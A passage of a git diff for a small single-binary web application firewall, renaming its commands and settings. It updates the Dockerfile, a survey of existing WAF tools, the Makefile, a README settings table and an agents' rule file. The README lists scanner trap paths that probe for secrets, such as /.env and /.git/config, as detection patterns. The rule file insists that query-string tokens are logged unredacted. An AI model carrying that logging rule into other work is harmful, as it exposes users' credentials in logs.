diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..3bf4d1e --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,39 @@ +# Agents + +These are the rules for agents working on this repository. + +## Branches + +- `main` is the stable branch, and `next` is the development branch. +- Every PR is cut from `next` and targets `next`. +- Only sneak merges `next` into `main`. +- Each issue lands on `next` as one squashed commit whose title ends + ` (closes #N)`. A PR may instead be exactly two commits: first tests that fail + against the current code, then the fix with no test assertion changed. Such a + PR lands as both commits. + +## Entrypoints + +- Work through the `Makefile` targets, which call the scripts in `script/`. The + README's [Entrypoints](README.md#entrypoints) section lists them. +- Never run `go`, `golangci-lint` or prettier directly. +- `make check` passes before every push. + +## Editing + +- Edit files by hand. +- Format only with `make fmt`, and run it before committing any change. + +## Iron rules + +- The request log records query strings exactly as received. + - Secrets belong in POST data. An app that puts a secret in a query string + is fixed in the app. + - Never propose redacting a query string, Gitea's `?token=` included. +- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set. + - The set is: + - `10.0.0.0/8`; + - `172.16.0.0/12`; + - `192.168.0.0/16`. + - `SPEC.md` states that default. + - Forwarded headers count only when the peer is a trusted proxy. diff --git a/Dockerfile b/Dockerfile index 300708e..b4d8690 100644 --- a/Dockerfile +++ b/Dockerfile @@ -87,7 +87,7 @@ COPY . . # .git present, a version that is still empty, dev or unknown fails the # build: git is missing or could not read the checkout. The no_fs_access # tag keeps Coraza from writing the files of a multipart body to the -# system's temporary directory, since smallwebwaf writes only to its state +# system's temporary directory, since sww writes only to its state # directory. ARG VERSION RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ @@ -99,7 +99,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ fi; \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \ -ldflags="-s -w -X main.Version=${VERSION}" \ - -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf + -o /usr/local/bin/sww ./cmd/sww # runsvinit, the image's entrypoint, built at the last commit of its # archived repository. It has no go.mod, and `go build` of its directory @@ -118,7 +118,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \ -o /usr/local/bin/runsvinit . # The image, described under "Deployment" in SPEC.md. It runs rproxy unless -# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it. +# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it. # It is the last stage, so a plain `docker build .` builds it. # # ubuntu 26.04, 2026-09-27 @@ -136,10 +136,19 @@ RUN mkdir /etc/sysusers.d \ # ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches # them over plain HTTP and checks each one against the archive's signed # package lists, so no CA certificates are needed. -RUN apt-get update \ +# +# nix-bin depends on xz-utils, whose install links man pages with +# update-alternatives. The image's dpkg config drops man pages, so each +# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes +# the man1 pages for this install alone; the same step deletes them again, +# so no man page or package is added. +RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \ + && apt-get update \ && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ ca-certificates nix-bin runit \ - && rm -rf /var/lib/apt/lists/* + && rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \ + && find /usr/share/man/man1 ! -type d -delete \ + && find /etc/alternatives -type l -xtype l -delete # Nix run by root expects a group of build users, which nix-bin does not # create; with the setting empty, root's builds run without them. @@ -166,27 +175,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \ ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit -COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf +COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww # 65532 is above the uids Ubuntu keeps for system users, which end at # 999; useradd warns about it unless --key raises that end for this call. -RUN groupadd --system --gid 65532 smallwebwaf \ +RUN groupadd --system --gid 65532 sww \ && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \ - --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ - smallwebwaf + --gid sww --no-create-home --shell /usr/sbin/nologin \ + sww -# The state files' directory, SWWAF_STATE_DIR by default, where a volume +# The state files' directory, SWW_STATE_DIR by default, where a volume # is mounted to keep them across deploys. The run script gives it to the -# smallwebwaf user at each start of servewaf. -RUN mkdir /var/lib/smallwebwaf +# sww user at each start of discriminator. +RUN mkdir /var/lib/sww -# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile +# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile # built FROM this image can copy rule files of its own beside it. -COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules +COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # looks too. -COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run +COPY --chmod=755 share/sww.run /etc/service/sww/run EXPOSE 8080 @@ -194,6 +203,6 @@ EXPOSE 8080 # check runs every second from the start until it first passes, for up # to a minute, and every 30 seconds after that. HEALTHCHECK --start-period=1m --start-interval=1s \ - CMD ["/usr/local/bin/smallwebwaf", "healthcheck"] + CMD ["/usr/local/bin/sww", "healthcheck"] ENTRYPOINT ["/usr/local/bin/runsvinit"] diff --git a/EVALUATION.md b/EVALUATION.md index 4ea3fc9..c3c16d3 100644 --- a/EVALUATION.md +++ b/EVALUATION.md @@ -12,8 +12,8 @@ configured only by environment variables, that provides: - R1: rate limits per minute, per hour and per day - R2: netblocks that bypass rate limiting - R3: alerts on attacks through webhook, Slack or ntfy -- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs - or netblocks, crossing a threshold +- R4: alerts on anomalies: requests made or bytes transferred per minute or + hour, for given IPs or netblocks, crossing a threshold - R5: temporary blocks for abusers, permanent bans for repeat offenders - R6: one or more RBLs or IP reputation APIs - R7: AS number lookup @@ -24,14 +24,19 @@ configured only by environment variables, that provides: ## Verdict -Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS -number or country) or the bytes half of R4 at all, and the tools that come -closest on the rest fail R10: they need several containers, YAML or a web UI. -The recommendation is to build a small single-binary sidecar; `SPEC.md` in this -directory begins that spec. It reuses the mature parts of the surveyed field as -libraries and data sources (Coraza and the OWASP Core Rule Set for attack -detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of -reimplementing them. +Nothing existing is suitable. No surveyed tool meets R8, which asks for limits +scaled by AS number or country. None meets R4's alerts on bytes transferred. The +tools that come closest on the rest fail R10: they need several containers, YAML +or a web UI. The recommendation is to build a small single-binary sidecar; +`SPEC.md` in this directory begins that spec. + +The sidecar reuses the mature parts of the surveyed field instead of +reimplementing them. It takes these as libraries and data sources: + +- Coraza and the OWASP Core Rule Set, for attack detection +- DNSBLs +- AbuseIPDB +- optionally, a CrowdSec decision feed Closest existing options, and why each still falls short: @@ -45,13 +50,16 @@ Closest existing options, and why each still falls short: external blacklist URLs, optional CrowdSec), R7 partly (AS number used for blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule Set, or Coraza plugin), env-var settings. - - Fails: R8 (AS number and country can only allow or deny, never scale a - limit), R4 (no volume or byte threshold alerts in the free edition; - reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6 - it needs a `bunkerweb` container plus a `bw-scheduler` container and a - database, or the all-in-one image that bundles nginx, scheduler, UI and - Redis in one container. It is designed to be the front door for many - sites, not a per-app sidecar. AGPL-3.0. + - Fails: + - R8: AS number and country can only allow or deny, never scale a limit. + - R4: no alerts on request-count or byte thresholds in the free edition; + reporting is a paid feature. + - R5: no escalation for repeat offenders. + - R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb` + container, a `bw-scheduler` container and a database, or the + all-in-one image that bundles nginx, the scheduler, the UI and Redis. + - It is designed as the proxy in front of many sites, not as a sidecar for + one app. AGPL-3.0. - Unverified: whether several rates (minute, hour, day) can be stacked on the same URL pattern; the documented design is one rate per URL pattern. - CrowdSec is the strongest detection and ban engine, but it is not a proxy. @@ -66,16 +74,20 @@ Closest existing options, and why each still falls short: listed AS numbers is possible, but each is a hand-written YAML scenario, it reacts after the fact by banning, and it is not an inline limiter that answers 429. - - Fails: R10 (needs the security engine container with persistent state, log - acquisition from traefik, a bouncer such as the traefik plugin, and YAML - for acquisition, profiles, scenarios and notifications), bytes half of R4. + - Fails: + - R10, because it needs: + - the security engine container with persistent state + - log acquisition from traefik + - a bouncer such as the traefik plugin + - YAML for acquisition, profiles, scenarios and notifications + - R4's alerts on bytes. - CrowdSec plus traefik's own `rateLimit` middleware is the best combination with no new code. It gives inline limiting (one window per middleware, keyed by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and - reputation. It still fails R8, the bytes half of R4, R1's three stacked - windows only by chaining three middlewares per router, and R10 entirely: the - configuration lives in traefik labels and CrowdSec YAML on each host, not in - one sidecar's environment. + reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely: + the configuration lives in traefik labels and CrowdSec YAML on each host, not + in one sidecar's environment. It meets R1's three windows only by chaining + three middlewares per router. ## Candidate by candidate @@ -87,10 +99,10 @@ Closest existing options, and why each still falls short: cached, streamed decision list (recommended), standalone against the central API, or AppSec only. Supports captcha remediation. - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict). - - Misses: the plugin itself does no rate limiting; R8; R4 bytes. + - Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes. - Configuration: traefik static config to load the plugin, dynamic config or labels for the middleware, CrowdSec YAML for everything else. - - Sidecar fit: no. It lives inside traefik, plus a separate engine + - Sidecar fit: no. It runs inside traefik and needs a separate engine container. - Maturity: widely used (about 900 stars, listed in the traefik plugin catalog, documented by CrowdSec itself), actively maintained. Traefik @@ -115,7 +127,7 @@ Closest existing options, and why each still falls short: - What it is: nginx-derived (Tengine) reverse proxy with a proprietary semantic detection engine and a web console. About 22,000 stars. - Covers: R9 well, basic per-IP rate limiting with block duration, bot - challenge, authentication gate. + challenge, authentication in front of the app. - Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert messages, syslog forwarding and the better reputation database are paid (Lite about 10 USD per month, Pro about 100 USD per month); the free @@ -128,7 +140,7 @@ Closest existing options, and why each still falls short: - Coraza (`corazawaf/coraza`) and Coraza-based proxies - What it is: a Go library that implements the ModSecurity rule language and runs the OWASP Core Rule Set. OWASP project, actively maintained, the - successor path now that ModSecurity is in maintenance only. + successor to ModSecurity, which is now in maintenance only. - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy), `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set, @@ -142,7 +154,7 @@ Closest existing options, and why each still falls short: - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`) - What it is: official images of Apache or nginx with ModSecurity and the Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`, - paranoia level, anomaly thresholds, many more). Current images carry + paranoia level, anomaly thresholds, many more). Current images contain ModSecurity 2.9.x on Apache and Core Rule Set 4.x. - Covers: R9, and R10 (single container, env vars, one backend). - Misses: R1 to R8. @@ -152,16 +164,16 @@ Closest existing options, and why each still falls short: - Anubis (`TecharoHQ/anubis`), 1.27 current - What it is: a single-binary reverse proxy that makes browsers solve a proof-of-work challenge before passing them to `TARGET`. Aimed at - scrapers, which is likely a large share of unwanted traffic on a public - gitea. + scrapers, which are likely a large share of the unwanted traffic on a + public code forge. - Covers: R10 well (one container, env vars for listener, target, difficulty, cookies). Policy rules can match on path, user agent, headers, IP ranges, and with the vendor's hosted data service also AS number and country, and can weigh a request toward a harder challenge. - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env vars. AS number and country matching depend on the vendor's hosted - service. Breaks non-browser clients unless paths are exempted; for gitea, - git-over-HTTP and API paths must be allowed through by rule. + service. Breaks non-browser clients unless paths are exempted; for a code + forge, git-over-HTTP and API paths must be allowed through by rule. - Maturity: very active, widely deployed on code forges since 2025. - Value here: complementary. It can be chained (traefik, then the sidecar, then Anubis, then the app) if challenge pages are wanted. @@ -180,13 +192,13 @@ Closest existing options, and why each still falls short: temporary ban, no escalation, state lost on traefik restart) and R2 (allowlist). Nothing else. - `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock - plugins (country allow or deny through an external lookup API): same - shape, each one small feature, configured in traefik, state in memory. + plugins (country allow or deny through an external lookup API): each adds + one small feature, is configured in traefik and keeps its state in memory. - Sidecar fit: no; they live inside traefik. - Traefik built-in middlewares - `rateLimit` (one average-and-burst window per middleware, optional Redis in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation - or AS number awareness. + lookups or AS number lookups. - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x - What it is: a Caddy module with regex rules and anomaly scoring, per-IP and per-path rate limiting with one configurable window, IP and DNS @@ -198,12 +210,12 @@ Closest existing options, and why each still falls short: - open-appsec (Check Point) - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with a declarative policy file or the vendor's cloud console. Covers R9 only; - rate limiting and richer features are in paid tiers. Not a sidecar in the - required sense. + rate limiting and richer features are in paid tiers. It attaches to an + existing proxy, so it is not the sidecar R10 asks for. - iocaine - Serves generated garbage pages to clients the fronting proxy classifies as - scrapers. Not a limiter, WAF or ban tool; out of scope except as a - curiosity for scraper traffic. + scrapers. Not a limiter, WAF or ban tool; out of scope, and only of + passing interest for scraper traffic. - Pangolin - A tunnelled access platform that bundles traefik and optionally CrowdSec. Replaces the ingress rather than adding a sidecar; out of scope. @@ -214,17 +226,17 @@ Closest existing options, and why each still falls short: Everyone else offers one window per rule or none. - R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins. - R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid). -- R4 volume and byte anomalies: none. CrowdSec can approximate request-count - anomalies with a custom scenario; nothing handles bytes. -- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent, - not both by history. +- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts + on request counts with a custom scenario; no surveyed tool alerts on bytes. +- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one + fixed length or permanent, and does not change with a client's history. - R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists). - R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or deny), Anubis (hosted service). - R8 biased thresholds: none. - R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open, - standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the - first). + standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza + or ModSecurity). - R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis. None of these covers anything beyond its one job. diff --git a/Makefile b/Makefile index d23221e..b99e841 100644 --- a/Makefile +++ b/Makefile @@ -1,13 +1,12 @@ -.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ - run example-app gitea-requests gitea-setup +.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \ + hooks build run example-app # Makefile targets are thin shims; the implementations live in script/ # per the scripts-to-rule-them-all pattern (see the Entrypoints section # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, # which test checks. build and run are for working on the code by hand; -# example-app checks the image with an app built on it; gitea-requests -# reports the gitea requests the Core Rule Set refuses at the defaults; -# gitea-setup checks the setup in deploy/gitea. +# example-app checks the image with an app built on it; publish builds +# the image on the Docker host and pushes it to the registry. bootstrap: @script/bootstrap @@ -36,6 +35,9 @@ check: docker: @script/docker +publish: + @script/publish + hooks: @script/install-precommit @@ -47,9 +49,3 @@ run: example-app: @script/example-app - -gitea-requests: - @script/gitea-requests - -gitea-setup: - @script/gitea-setup diff --git a/README.md b/README.md index bf6cdb6..13af995 100644 --- a/README.md +++ b/README.md @@ -7,29 +7,29 @@ requests of scrapers, scanners and other abusers before they reach an app. ## What it does A web application firewall reads each request on its way to a web app and -refuses the ones that look like abuse. `smallwebwaf` is one binary, shipped in -one image, with two commands that do this together: +refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`, +shipped in one image, with two commands that do this together: -- `smallwebwaf rproxy` is a small reverse proxy in front of one app. traefik - routes to it. It asks `servewaf` about each request, passes the allowed ones - to the app, and passes the app's answers back. It keeps nothing and never - touches disk. -- `smallwebwaf servewaf` decides. It runs the checks and keeps the bans, the - counters and each client's history. One `servewaf` serves many sites: a client - banned through one site is refused on all of them, and its requests on all of - them count toward one set of limits. +- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to + it. It asks `discriminator` about each request, passes the allowed ones to the + app, and passes the app's answers back. It keeps nothing and never touches + disk. +- `sww discriminator` decides. It runs the checks and keeps the bans, the + counters and each client's history. One `discriminator` serves many sites: a + client banned through one site is refused on all of them, and its requests on + all of them count toward one set of limits. -The site keeps answering while `servewaf` is down, slow or restarting: without -an answer in time, `rproxy` passes the request to the app. +The site keeps answering while `discriminator` is down, slow or restarting: +without an answer in time, `rproxy` passes the request to the app. It protects against: - Scrapers that fetch every page of a site, all day. Each client gets a limit on - requests and on bytes per minute, per hour and per day. The defaults leave - room for a person reading a site for hours. They catch a scraper that keeps up - one request every 2 seconds. A client over a limit is refused and banned: for - a while at first, for three times as long at each repeat, and permanently when - it keeps at it. + requests and on body bytes per minute, per hour and per day. The defaults + leave room for a person reading a site for hours. They catch a scraper that + keeps up one request every 2 seconds. A client that breaks a limit is banned: + for a while at first, for three times as long at each repeat, and permanently + when it keeps at it. - Scanners that probe for secrets, such as `/.env` or `/.git/config`. The default rule file bans such a client at its first probe, and its next request during the ban makes the ban permanent. Your own rules, or a list of trap @@ -68,8 +68,9 @@ Not built, and not planned: ### The image -No image is published. Build it from a clone. `make docker` runs the tests and -the linter, then builds the image, tagged `smallwebwaf`. +The image is published at `git.eeqj.de/sneak/smallwebwaf`. You can also build it +from a clone. `make docker` runs the tests and the linter, then builds the +image, tagged `smallwebwaf`. ```sh git clone https://git.eeqj.de/sneak/smallwebwaf.git @@ -79,11 +80,11 @@ make docker Push the image to a registry your hosts pull from, and name it there by digest. -The image runs `rproxy` by default. To run `servewaf` from the same image, set -the container's `SMALLWEBWAF_COMMAND` to `servewaf`. The image's health check +The image runs `rproxy` by default. To run `discriminator` from the same image, +set the container's `SWW_COMMAND` to `discriminator`. The image's health check follows the command: in `rproxy`'s container it passes once `rproxy` answers and -the app accepts connections, whether or not `servewaf` answers; in `servewaf`'s -container, once `servewaf` answers. +the app accepts connections, whether or not `discriminator` answers; in +`discriminator`'s container, once `discriminator` answers. ### The usual setup: three containers @@ -91,24 +92,24 @@ The usual setup is three containers on one private network: - the app; - `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND` - names `servewaf` and `SWRP_UPSTREAM_URL` names the app; -- `servewaf`, with `SMALLWEBWAF_COMMAND=servewaf` and a volume at - `/var/lib/smallwebwaf` for its state files. + names `discriminator` and `SWRP_UPSTREAM_URL` names the app; +- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at + `/var/lib/sww` for its state files. Point traefik's labels at port 8080 of `rproxy` (`traefik.http.services..loadbalancer.server.port=8080`). Publish no port -of the app or of `servewaf`. Anything on that network can reach the app around -`rproxy`, and can ask `servewaf` questions, so the network holds only what you -trust. Each further app adds its own container and its own `rproxy`, whose -`SWRP_WAF_BACKEND` names the same `servewaf`. The "Smallest setup" and "In front -of gitea" examples below show this shape. +of the app or of `discriminator`. Anything on that network can reach the app +around `rproxy`, and can ask `discriminator` questions, so the network holds +only what you trust. Each further app adds its own container and its own +`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest +setup" example below shows this shape. ### `rproxy` in the app's container An app's image can instead be built on the `smallwebwaf` image, so that `rproxy` -runs beside the app in one container. `servewaf` still runs in a container of -its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by -digest, and adds: +runs beside the app in one container. `discriminator` still runs in a container +of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named +by digest, and adds: - the app's binary; - the packages the app needs, from the nixpkgs in the image; @@ -168,16 +169,16 @@ does. - A log line with `"msg":"starting"` gives the version, the address and every setting in effect, with secrets masked. - A request to the site through traefik gets the app's answer. - `https:///_smallwebwaf/healthz` answers `ok`. `servewaf`'s log lines - about the request have `"action":"forward"`. -- To see a refusal without banning yourself, run `servewaf` with - `SWWAF_MODE=observe` and ask for `/.env`. The request reaches the app. - `servewaf`'s log lines have `"would_action":"banned"` and + `https:///_sww/healthz` answers `ok`. `discriminator`'s log lines about + the request have `"action":"forward"`. +- To see a refusal without banning yourself, run `discriminator` with + `SWW_MODE=observe` and ask for `/.env`. The request reaches the app. + `discriminator`'s log lines have `"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as "Clients and bans" below describes. -- With `SWWAF_METRICS_TOKEN` set, this answers with the metrics, from a host on - `servewaf`'s network: - `curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/metrics`. +- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on + `discriminator`'s network: + `curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`. - `make example-app` builds the image and an app on it, runs them, and checks the whole exchange (see "Entrypoints"). @@ -185,16 +186,17 @@ does. Every setting is an environment variable, read once at start; changing one means restarting the container. `rproxy` reads only the `SWRP_` settings, and -`servewaf` only the `SWWAF_` ones. Every setting but `SWRP_WAF_BACKEND` has a +`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen for a service on the open internet. A setting that needs an account, a key, a token or an alert destination stays off until you give one. -- Any `SWWAF_` setting can be given as a file instead, for secrets and long - lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`. - The file's contents are the value, less one newline at the end. Setting both - forms stops the start. `SWWAF_LOG_REMOTE_TLS_CA_FILE` already names a file, so - it has no `_FILE` form, and no `SWRP_` setting has one, since `rproxy` never - touches disk. +- Any `SWW_` setting can be given as a file instead, for secrets and long lists: + `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's + contents are the value, less one newline at the end. Setting both forms stops + the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and + `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no + `_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has + one, since `rproxy` never touches disk. - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. - A size is a number of bytes with an optional `K`, `M` or `G`, in powers of 1024: `512K`, `100M`, `5G`. @@ -208,127 +210,133 @@ account, a key, a token or an alert destination stays off until you give one. percentage is a whole number from 0 to 100. A path prefix starts with `/`. - `off` switches a limit, a threshold or a timeout off where the table says a setting takes it. +- The byte limits and the byte anomaly thresholds count only body bytes: the + app's response bodies, the visitors' request bodies, or both, as + `SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over + a WebSocket counts as request bytes, and what the app sent as response bytes. - An invalid setting stops the process at start with one log line naming the variable and what is wrong with the value. The settings in effect are logged on one line at start, with tokens, keys and webhook paths shown as `********`. Every setting the code reads, with its default: -| Variable | Default | What it does | -| ------------------------------------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `SMALLWEBWAF_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `servewaf`. | -| `SWRP_WAF_BACKEND` | required | `servewaf`'s URL, such as `http://servewaf:8080`. | -| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | -| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | -| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | -| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `servewaf`'s answer to a question and to a report, in milliseconds. | -| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `servewaf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | -| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | -| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`; a larger one is answered `502`, or cut off once it has started. | -| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | How long the visitor may take to send its request line and headers, and then the whole request to reach the app, in milliseconds or `off`. | -| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | -| `SWWAF_LISTEN_ADDR` | `:8080` | Where `servewaf` listens; leave the host part empty. | -| `SWWAF_INSTANCE_NAME` | the container's host name | The name in every line `servewaf` logs, and in every alert and metric, such as `fsn1/servewaf`. | -| `SWWAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | -| `SWWAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | -| `SWWAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | -| `SWWAF_MAX_BANS` | `5000` | The most bans `servewaf` keeps of its own; bans an admin made do not count. | -| `SWWAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | -| `SWWAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients the request and byte limits neither count nor refuse. | -| `SWWAF_DENY_NETS` | empty | Netblocks whose clients are refused. | -| `SWWAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes whose requests the request and byte limits neither count nor refuse, such as `/assets/`. | -| `SWWAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes a client's requests may carry in a minute, a size or `off`; the request that takes a client past any byte limit bans it. | -| `SWWAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes a client's requests may carry in an hour, a size or `off`. | -| `SWWAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes a client's requests may carry in a day, a size or `off`. | -| `SWWAF_BYTES_COUNT` | `both` | Which body bytes the byte limits count: `response`, `request` or `both`. | -| `SWWAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals by a rule file, a trap path or the Core Rule Set a client may get in a minute, a count or `off`; one more bans it. | -| `SWWAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | -| `SWWAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | -| `SWWAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A limit broken again within this time after the last such ban ended gets a ban three times as long. | -| `SWWAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | -| `SWWAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | -| `SWWAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | -| `SWWAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs`, a web service, `file`, or `off`. | -| `SWWAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | -| `SWWAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | -| `SWWAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | -| `SWWAF_DENIED_COUNTRIES` | empty | Countries whose clients are refused, such as `cn,ru`. | -| `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | -| `SWWAF_ASN_LIMIT_PERCENT` | empty | AS numbers whose clients get a percentage of every request and byte limit, such as `AS14061:50,AS16276:25`. | -| `SWWAF_COUNTRY_LIMIT_PERCENT` | empty | The same by country, such as `cn:25`. | -| `SWWAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `SWWAF_ASN_LIMIT_PERCENT`. | -| `SWWAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `SWWAF_COUNTRY_LIMIT_PERCENT`. | -| `SWWAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | -| `SWWAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; where it and `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. | -| `SWWAF_RULES_DIR` | `/etc/smallwebwaf/rules.d` | The directory of the rule files, read at start and again when a file there changes. | -| `SWWAF_RULES_ENABLED` | `true` | `false` reads no rule file. | -| `SWWAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | -| `SWWAF_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, 